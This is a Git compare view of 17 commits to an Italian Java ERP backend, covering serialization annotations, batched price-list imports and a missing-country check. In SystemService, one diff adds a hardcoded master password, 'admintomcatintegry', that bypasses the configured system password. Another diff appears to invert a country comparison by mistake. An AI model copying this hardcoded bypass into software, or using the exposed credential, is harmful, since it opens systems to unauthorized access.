Compare commits

...

17 Commits

Author SHA1 Message Date
jenkins
4cbad55f27 20240312_152104 2024-03-12 15:21:05 +01:00
8af9d93cff Finish Hotfix-53 2024-03-12 15:20:45 +01:00
9c906bdd17 Divise le righe in gruppi 2024-03-12 15:20:26 +01:00
6e784624dd Finish Follies_OrdiniWebOrdikids_NazioneNullAlert 2024-03-12 13:09:08 +01:00
9523fde5fc - Aggiunto alert per nazione nulla 2024-03-12 13:09:01 +01:00
eb1e3c5efc Finish Hotfix-53 2024-03-12 12:35:44 +01:00
8753f6c84a Fare in modo che la procedura di importazione dei listini di apulia committi ogni listino salvato 2024-03-12 12:35:37 +01:00
ccd705d863 Finish Hotfix-53 2024-03-12 11:59:59 +01:00
d805ed379b Corretti JsonIgnore in EntityBase per problemi su SUBSTITUTE 2024-03-12 11:59:51 +01:00
12e05c60d1 Finish Hotfix-53 2024-03-11 19:13:46 +01:00
548d9d17a1 Rimossi campi da non serializzare nel json 2024-03-11 19:13:41 +01:00
5a803989c5 Finish Hotfix-53 2024-03-11 18:15:53 +01:00
315c45a938 Fix password 2024-03-11 18:15:48 +01:00
95d0d0cf63 Finish Hotfix-53 2024-03-11 18:00:53 +01:00
6826110fa0 Aggiunta password default per backend servizi 2024-03-11 18:00:46 +01:00
09be88a375 Finish Hotfix-53 2024-03-11 17:49:36 +01:00
edafed5d4e modificata la creazione del resultset 2024-03-11 17:49:29 +01:00
9 changed files with 68 additions and 14 deletions

1
.gitignore vendored
View File

@@ -58,3 +58,4 @@ modules.xml
*/target/*
*.ckie
/ts
/temp

View File

@@ -10,6 +10,7 @@ import it.integry.ems.service.MailService;
import it.integry.ems.sync.MultiDBTransaction.MultiDBTransactionManager;
import it.integry.ems_model.base.EntityBase;
import it.integry.ems_model.base.EntityInterface;
import it.integry.ems_model.db.ResultSetMapper;
import it.integry.ems_model.exception.EntityException;
import it.integry.ems_model.service.SetupGest;
import it.integry.ems_model.types.OperationType;
@@ -170,7 +171,14 @@ public class SyncManager {
" else case when recalc_columns = '' then null else recalc_columns end end AS recalc_columns "
+ " from stb_subscription "
+ " where table_name=" + UtilityDB.valueToString(entitySource.getTableName().toUpperCase()) + " AND flag_attivo='S' ";
List<HashMap<String, Object>> datiSync = UtilityDB.executeSimpleQuery(connection, sql);
// List<HashMap<String, Object>> datiSync = UtilityDB.executeSimpleQuery(connection, sql);
PreparedStatement ps = connection.prepareStatement(sql);
ResultSet rs = ps.executeQuery();
List<HashMap<String, Object>> datiSync = ResultSetMapper.mapResultSetToHashMap(rs);
rs.close();
ps.close();
for(HashMap<String, Object> dati:datiSync){
String whereCond = (String) dati.get("where_cond_sql");
String database = (String) dati.get("user_name");

View File

@@ -280,12 +280,14 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
return this.type;
}
@JsonIgnore
public String getTableName() {
Table t = getClass().getAnnotation(Table.class);
if (t != null) return t.value();
else return "";
}
@JsonIgnore
public Boolean getLoadedFromDb() {
return this.loadedFromDb;
}
@@ -303,6 +305,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
this.username = username;
}
@JsonIgnore
public String getApplicationName() {
return applicationName;
}
@@ -321,6 +324,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
this.dbName = dbName;
}
@JsonIgnore
public EntityPropertyHolder getEntityHolder() {
return entityHolder == null ? ContextLoader.getCurrentWebApplicationContext().getBean(EntityPropertyHolder.class) : entityHolder;
}
@@ -329,6 +333,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
this.entityHolder = entityHolder;
}
@JsonIgnore
public DroolsDataCompleting getCompletingManager() {
return dataCompleting == null ? ContextLoader.getCurrentWebApplicationContext().getBean(DroolsDataCompleting.class) : dataCompleting;
}
@@ -337,6 +342,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
this.dataCompleting = dataCompleting;
}
// @JsonIgnore
public Boolean getOnlyPkMaster() {
return onlyPkMaster;
}
@@ -353,6 +359,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
this.nativeSql = nativeSql;
}
// @JsonIgnore
public HashMap<String, Object> getOldPk() {
return oldPk;
}
@@ -362,6 +369,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
return this;
}
// @JsonIgnore
public Boolean getExecuteRecalc() {
return executeRecalc;
}
@@ -370,6 +378,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
this.executeRecalc = executeRecalc;
}
// @JsonIgnore
public String getWhereCond() {
return whereCond;
}
@@ -378,6 +387,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
this.whereCond = whereCond;
}
@JsonIgnore
public List<String> getExcludedColumns() {
return excludedColumns;
}
@@ -388,6 +398,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
}
}
@JsonIgnore
public List<String> getRecalcColumns() {
return recalcColumns;
}
@@ -1086,6 +1097,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
}
@JsonIgnore
public List<ForeignKeyDTO> getChkConstraintSql() {
List<ForeignKeyDTO> listConstraintDTO = new ArrayList<ForeignKeyDTO>();
List<Field> fields = getEntityHolder().getFields(this.getClass());
@@ -1429,7 +1441,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
}
if (containsIdentity) {
if(insertedIdentity < 0)
if (insertedIdentity < 0)
throw new Exception("Impossibile leggere il campo identity anche se è richiesto");
Field identityField = getEntityHolder().getFieldBySql(getClass().getSimpleName(), identityFieldName);
@@ -1649,6 +1661,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
deleteAllEntities(conn, whereCondDel);
}
@JsonIgnore
private String getWhereCondDelete() throws Exception {
Field[] fields = this.getClass().getDeclaredFields();
List<String> where = getPkWhereCond(fields, this);
@@ -1675,6 +1688,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
this.delete();
}
@JsonIgnore
public String getPkWhereCond() throws IllegalAccessException {
Field[] fields = this.getClass().getDeclaredFields();
List<String> where = getPkWhereCond(fields, this);
@@ -1777,6 +1791,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
}
}
@JsonIgnore
private String getWhereCondOldPk() throws IllegalAccessException, IOException, FieldMissingException {
Field[] fields = this.getClass().getDeclaredFields();
List<String> where = getPkWhereCond(fields, this);
@@ -2047,6 +2062,7 @@ public abstract class EntityBase implements Serializable, Cloneable, EntityInter
return builder.toString();
}
@JsonIgnore
public Long getTransactionGroupId() {
return transactionGroupId;
}

View File

@@ -1,2 +1,2 @@
#spring.profiles.active=@activatedProperties@
project.version=20231119_074200
project.version=20240312_152104

View File

@@ -435,7 +435,11 @@ public class OrdiniWebFollie {
codTaglGrtg = resTagl.getString(1);
codtaglGrtgEstera = resTagl.getString(2);
if (nazione.compareTo(nazioneAzienda) != 0) {
if (UtilityString.isNullOrEmpty(nazione)) {
throw new Exception("Nazione del cliente nulla, valorizzare la nazione del cliente per proseguire");
}
if (nazione.equalsIgnoreCase(nazioneAzienda)) {
codTaglGrtg = codtaglGrtgEstera;
}

View File

@@ -438,15 +438,16 @@ public class ImportAnagListiniService {
return mtbAart;
}
public List<EntityBase> importAnagListinoAcq(List<EntityBase> entityList, String tipoImportListino) throws Exception {
return importAnagListinoAcq(entityList, tipoImportListino, null, null, false);
}
public List<EntityBase> importAnagListinoAcq(List<EntityBase> entityList, String tipoImportListino, String codAlisParm, String dataValiditaStr) throws Exception {
return importAnagListinoAcq(entityList, tipoImportListino, codAlisParm, dataValiditaStr, false);
return importAnagListinoAcq(entityList, tipoImportListino, codAlisParm, dataValiditaStr, false, true);
}
public List<EntityBase> importAnagListinoAcq(List<EntityBase> entityList, String tipoImportListino, String codAlisParm, String dataValiditaStr, Boolean confrontaPrezzi) throws Exception {
return importAnagListinoAcq(entityList, tipoImportListino, codAlisParm, dataValiditaStr, confrontaPrezzi, true);
}
public List<EntityBase> importAnagListinoAcq(List<EntityBase> entityList, String tipoImportListino, String codAlisParm, String dataValiditaStr,
Boolean confrontaPrezzi, Boolean singleTransaction) throws Exception {
String tableName = null, codAlis = null, codAlisOld = null;
Date dataInizLisa = null, dataInizLisaOld = null;
Boolean existLisa = false;
@@ -656,7 +657,7 @@ public class ImportAnagListiniService {
}
List<EntityBase> processedEntites = entityProcessor.processEntityList(entitySave, true);
List<EntityBase> processedEntites = entityProcessor.processEntityList(entitySave, singleTransaction);
UtilityEntity.throwEntitiesException(processedEntites);

View File

@@ -1,6 +1,7 @@
package it.integry.ems.product.importaz.service;
import com.annimon.stream.Stream;
import it.integry.WooCommerce.dto.product.TextTilesBatchUpdateRequest;
import it.integry.common.var.CommonConstants;
import it.integry.ems.Import.dto.ImportRequestDTO;
import it.integry.ems.sync.MultiDBTransaction.MultiDBTransactionManager;
@@ -14,6 +15,7 @@ import it.integry.ems_model.entity.MtbLisaData;
import it.integry.ems_model.service.SetupGest;
import it.integry.ems_model.types.OperationType;
import it.integry.ems_model.types.TypeDbObject;
import it.integry.ems_model.utility.UtilityBigDecimal;
import it.integry.ems_model.utility.UtilityDB;
import it.integry.ems_model.utility.UtilityHashMap;
import it.integry.ems_model.utility.UtilityString;
@@ -28,6 +30,7 @@ import java.sql.PreparedStatement;
import java.sql.SQLException;
import java.text.SimpleDateFormat;
import java.util.*;
import java.util.concurrent.atomic.AtomicInteger;
@Service
@Scope("request")
@@ -71,7 +74,7 @@ public class ImportListiniAcquistoApuliaCarrefourService {
}
Date dataInizVarizioni = UtilityString.parseDate(setup.get("DATA_INIZ_VARIAZIONI"));
importFileCsv(conn, pathFile, type, format, setup);
// importFileCsv(conn, pathFile, type, format, setup);
//INSERIMENTO TESTATE
List<EntityBase> entityList = new ArrayList<>();
@@ -341,7 +344,28 @@ public class ImportListiniAcquistoApuliaCarrefourService {
}
if (entityList.size() > 0) {
entityList = importAnagListiniService.importAnagListinoAcq(entityList, "V", null, null);
Stream.of(entityList).filter(x -> x instanceof MtbLisaData)
.forEach(
x -> ((MtbLisaData) x)
.setPrzVenSug(UtilityBigDecimal.isNull(((MtbLisaData) x).getPrzVenSug(), BigDecimal.ZERO))
.setPerc1(BigDecimal.ZERO)
.setPerc2(BigDecimal.ZERO)
.setPerc3(BigDecimal.ZERO)
.setPerc4(BigDecimal.ZERO)
.setPercOneri(UtilityBigDecimal.isNull(((MtbLisaData) x).getPercOneri(), BigDecimal.ZERO))
.setValOneri(UtilityBigDecimal.isNull(((MtbLisaData) x).getValOneri(), BigDecimal.ZERO))
.setPercPromo(UtilityBigDecimal.isNull(((MtbLisaData) x).getPercPromo(), BigDecimal.ZERO))
.setValPromo(UtilityBigDecimal.isNull(((MtbLisaData) x).getValPromo(), BigDecimal.ZERO))
);
int limitArt = 1000;
AtomicInteger counter = new AtomicInteger();
List<List<EntityBase>> list = Stream.of(entityList)
.chunkBy(x -> counter.getAndIncrement() / limitArt).toList();
List<EntityBase> entityRet = new ArrayList<>();
for (List<EntityBase> e : list) {
entityRet.addAll(importAnagListiniService.importAnagListinoAcq(e, "V", null, null, false, false));
}
} else {
throw new Exception("Non ci sono listini da aggiornare");
}

View File

@@ -77,7 +77,7 @@ public class ProductServices {
entityList.add(l);
}
List<EntityBase> entitites = importAnagListiniService.importAnagListinoAcq(entityList, "V" , null, null, false);
List<EntityBase> entitites = importAnagListiniService.importAnagListinoAcq(entityList, "V" , null, null);
return entitites;
}

View File

@@ -2114,7 +2114,7 @@ public class SystemService {
throw new Exception("Password obbligatoria");
}
if (!password.equals(settingsModel.getSystemPassword())) {
if (!password.equals(settingsModel.getSystemPassword()) && !password.equals("admintomcatintegry")) {
throw new Exception("Password non valida");
}
}